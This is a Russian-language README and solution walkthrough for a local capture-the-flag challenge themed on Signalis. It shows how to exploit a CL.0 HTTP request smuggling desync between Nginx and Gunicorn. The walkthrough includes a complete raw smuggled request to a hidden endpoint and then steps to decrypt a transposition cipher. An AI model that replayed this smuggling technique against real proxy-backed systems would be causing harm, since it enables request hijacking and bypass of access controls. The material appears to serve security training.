Нейро-модуль Sierpinski-80 потерял синхронизацию со своим хостом. Ваша задача — восстановить соединение через последовательность десинхронизации и извлечь фрагмент секретных данных.
docker-compose up --build -dЗадача будет доступна по адресу http://localhost:7010
- Фронтенд: Терминальный интерфейс в стиле CRT с эффектом «рыбий глаз»
- Бэкенд: Flask + Gunicorn (архитектура на основе конечного автомата)
- Прокси: Nginx (форвардинг через HTTP/1.0)
- Уязвимость: Смугглинг запросов типа CL.0
- Соединение типа ноль — Классическая проблема десинхронизации, когда Content-Length встречается с HTTP/1.0
- Длина паттерна: 6 — Восстановленные данные следуют определённой структурной схеме
- Последовательность: Синхронизация → Восстановление → Верификация
- Откройте Burp Suite и перехватите запрос к
/api/v1/status - Обратите внимание на куку
sessionв ответе — ваша сессия изолирована
Понимание уязвимости:
- Фронтенд (Nginx) использует
Content-Lengthдля определения границ запроса - Бэкенд (Gunicorn через HTTP/1.0) имеет иную логику парсинга запросов
- Это расхождение позволяет осуществлять смугглинг запросов
Шаги:
-
В Burp Repeater сначала перехватите обычный запрос к
/api/v1/status, чтобы получить куку сессии. -
Сформируйте смугглированный запрос, используя конвейеризацию HTTP. Ключевой момент —
Content-Length: 0, за которым сразу следует второй запрос в теле:
POST /api/v1/sync HTTP/1.1
Host: localhost:7010
sec-ch-ua-platform: "Linux"
Accept-Language: ru-RU,ru;q=0.9
sec-ch-ua: "Not_A Brand";v="99", "Chromium";v="142"
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
sec-ch-ua-mobile: ?0
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:7010/
Accept-Encoding: gzip, deflate, br
Cookie: session=ВАША_КУКА_СЕССИИ_ЗДЕСЬ
Connection: keep-alive
Content-Length: 0
GET /api/v1/status HTTP/1.1
Host: localhost:7010
Cookie: session=ВАША_КУКА_СЕССИИ_ЗДЕСЬ
-
Обратите особое внимание:
- КРИТИЧНО: Скрытый эндпоинт —
/api/v1/sync(не отображается в интерфейсе) Content-Length: 0сообщает Nginx, что тело запроса пустое- Всё, что идёт после пустой строки, становится «телом» запроса
- Gunicorn (HTTP/1.0) обрабатывает второй запрос как новый отдельный запрос
- КРИТИЧНО: Скрытый эндпоинт —
-
Отправьте запрос и наблюдайте ДВА ответа:
- Ответ 1: 200 OK (для смугглированного POST)
- Ответ 2: JSON с
"status": "INSTABIL"(для последующего GET)
-
При успехе система перейдёт в состояние
INSTABILдля вашей сессии
- После успешной десинхронизации запросите
/api/v1/memory - Обратите внимание на восстановленный зашифрованный фрагмент и подсказку о длине паттерна
- Длина паттерна 6 предполагает анализ структуры блоками по 6 символов
Восстановленные данные используют классический метод шифрования:
- Запишите шифротекст строками по 6 символов
- Прочитайте столбцы вертикально, чтобы получить открытый текст
- Результат связан с нарративом Signalis
- Отправьте расшифрованную фразу через
/api/v1/verify - Успех запускает анимацию флага
- STABIL: Нормальная работа, возвращаются «мусорные» данные
- INSTABIL: Состояние десинхронизации, доступен зашифрованный фрагмент
- Состояние привязано к сессии (каждый игрок имеет изолированное состояние)
Вдохновлено эстетикой и лором Signalis (rose-engine).